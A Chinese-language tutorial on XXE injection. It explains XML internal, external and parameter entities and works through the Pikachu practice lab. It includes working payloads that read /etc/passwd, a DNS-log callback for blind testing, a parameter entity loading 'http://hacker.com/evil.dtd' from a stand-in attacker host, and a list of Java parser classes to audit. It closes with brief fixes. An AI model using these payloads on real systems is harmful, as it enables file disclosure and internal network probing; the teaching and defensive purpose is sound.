XXE 漏洞
概念
XML特殊符号解析错误
XXE
是XML的外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害
exp
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd"> // 任意文件读取
]>
<x>&f;</x>
危害
- 读取内网文件、端口 并攻击内网网站
- 执行系统命令
- 发起拒绝服务攻击
Pikachu靶场解释
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0
的版本中,默认是禁止解析xml
外部实体内容的。
XML
是可扩展的标记语言,设计用来进行数据的传输和存储,结构树形, 有标签构造很像 HTML
XML: 被设计用来传输和存储数据
HTML: 被设计用来显示数据
简单的XML代码
标签就是变量名,标签里面的数据就是变量的值
<?xml version=’1.0’?> //声明XML解析器版本来解析
<person> //根元素,不一定是person
<name>test</name> //子元素,意思就是name变量的值是test
<age>20</age> //同理
</person>
如果数据中出现了尖括号 < 就会造成XML
数据解析错误, 所以避免出现这种情况也做了规定, 如引号 ” ‘ & 和 <> 尖括号 都是不允许直接出现在XML文档中,如果出现了就会分辨不清是标签还是数据
<name> <admin <>
XML实体
实体Entity来解决特殊符号解析错误问题 实体Entity是一种简单的存储单元就好比xml变量一样可以对它进行赋值﹐并在xml文档中不同的地方对他引用
基本结构
实体分类
内部实体声明
<!ENTITY 实体名 "实体值">
声明之后就可以通过“&实体名;”来获取,示例如下:
<!DOCTYPE foo [
<!ENTITY test "john">
]>
<root>
<name>&test;</name> name= john
</root
Payload
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/www.txt"> // SYSTEM 读取文件 再通过test引用
]>
-----------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://eb3q1r.dnslog.cn"> // SYSTEM 无回显 DNS.log file进行引用
%file;
]>
外部实体引用
XXE
产生正是外部实体引用的结果,可以分为普通实体和参数实体
普通实体
SYSTEM
是一个关键字,用于指定实体的类型。使用SYSTEM
关键字声明的实体是外部实体,内部实体和外部实体仅仅是多了一个 SYSTEM
关键字
<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">
----------
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo> // 使用这个xxe
参数实体
参数实体用于后续使用,与普通实体不同的是,它中间有百分比%
符号
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
使用实体名称xxe
,它的值是路径下的 evil.dtd
文件,文件中的内容是这样的,它也存在一个实体 evil
,实体的值是路径下文件,所以使用 xxe
实体值等于是使用了 evil
,最后在通过 &evil;
来引用执行。在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。
<!ENTITY evil SYSTEM "file:///etc/passwd">
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" >
%xxe; #参数实体名必须先再Dtd部分中引用,所以这里先引用了DTD
]>
<root>
<name>&evil;</name>
</root>
总结
内部实体就相当于自己编写DTD内容,而外部实体就相当于引入外部的DTD内容,类似于写JS代码时从外部引入JS文件,这样就能理解了吧,上面的一般实体和参数实体都可以化为外部实体
而XXE漏洞,就存在于外部实体中,我们将恶意代码写入DTD文件中再通过外部实体引入
XXE 漏洞挖掘
黑盒测试
XXE 依然如 SSRF 分为有回显、无回显。通过 XXE 可以造成 SSRF,所以它的检测思路与 SSRF 大同小异,比较通用的方式也是构造特定外网服务器的访问请求,然后查询外网服务器的请求日志,以判断是否请求成功。
白盒审计
以 Java 为例,可以在代码中搜索常用的 XML 解析器,看它们在实例化之后,是否有关闭外部实体引用功能,如果没有就可能存在 XXE 漏洞,不同语言、不同的 XML 解析库有不同的关闭外部实体引用的方法,在代码审计时,可以对照着看,然后拿一些 xxe payload 实际验证下
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId
修复XXE 漏洞
要防御 XXE 也比较简单,。比如在 Java 中常用于解析 XML 的 DocumentBuilderFactory,就可以通过 setFeature 方法防御 XXE 漏洞,注意是组合使用,而不是单一防御。如果业务需要引用外部实体,建议采用白名单方式限制。
- 关闭外部实体引用即可
- 业务需要外部实体引用,采用白名单方式限制并过滤系统命令
- 升级
XML